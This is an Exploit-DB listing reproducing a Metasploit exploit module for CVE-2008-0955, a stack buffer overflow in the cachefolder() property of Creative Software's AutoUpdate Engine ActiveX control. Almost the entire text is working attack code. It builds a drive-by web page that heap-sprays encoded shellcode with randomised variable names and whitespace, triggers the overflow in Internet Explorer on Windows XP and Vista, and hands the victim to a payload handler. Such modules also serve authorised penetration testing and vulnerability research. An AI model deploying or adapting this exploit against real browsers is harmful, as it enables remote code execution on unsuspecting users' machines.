Creative Software AutoUpdate Engine – ActiveX Control Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-05-09
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16539/
  • ##
    # $Id: creative_software_cachefolder.rb 9262 2010-05-09 17:45:00Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a stack buffer overflow in Creative Software AutoUpdate Engine. When
    				sending an overly long string to the cachefolder() property of CTSUEng.ocx
    				an attacker may be able to execute arbitrary code.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' => [ 'MC', ],
    			'Version'=> '$Revision: 9262 $',
    			'References' =>
    				[
    					[ 'CVE', '2008-0955' ],
    					[ 'OSVDB', '45655' ],
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    				},
    			'Payload'=>
    				{
    					'Space' => 1024,
    					'BadChars'=> "\x00",
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
    				],
    			'DisclosureDate' => 'May 28 2008',
    			'DefaultTarget'=> 0))
    	end
    
    	def autofilter
    		false
    	end
    
    	def check_dependencies
    		use_zlib
    	end
    
    	def on_request_uri(cli, request)
    		# Re-generate the payload
    		return if ((p = regenerate_payload(cli)) == nil)
    
    		# Encode the shellcode
    		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    
    		# Randomize the javascript variable names
    		vname= rand_text_alpha(rand(100) + 1)
    		var_i= rand_text_alpha(rand(30)+ 2)
    		rand1= rand_text_alpha(rand(100) + 1)
    		rand2= rand_text_alpha(rand(100) + 1)
    		rand3= rand_text_alpha(rand(100) + 1)
    		rand4= rand_text_alpha(rand(100) + 1)
    		rand5= rand_text_alpha(rand(100) + 1)
    		rand6= rand_text_alpha(rand(100) + 1)
    		rand7= rand_text_alpha(rand(100) + 1)
    		rand8= rand_text_alpha(rand(100) + 1)
    
    		content = %Q|
    			<html>
    				<object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>
    				<script language="JavaScript">
    				var #{rand1} = unescape('#{shellcode}');
    				var #{rand2} = unescape("%u0c0c%u0c0c");
    				var #{rand3} = 20;
    				var #{rand4} = #{rand3} + #{rand1}.length;
    				while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
    				var #{rand5} = #{rand2}.substring(0,#{rand4});
    				var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
    				while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
    				var #{rand7} = new Array();
    				for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
    				var #{rand8} = ""
    				for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape("%0c%0c") }
    				#{vname}.cachefolder(#{rand8});
    				</script>
    			</html>
    			|
    
    		# Randomize the whitespace in the document
    		content = Rex::Text.randomize_space(content)
    
    		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
    
    		# Transmit the response to the client
    		send_response_html(cli, content)
    
    		# Handle the payload
    		handler(cli)
    	end
    
    end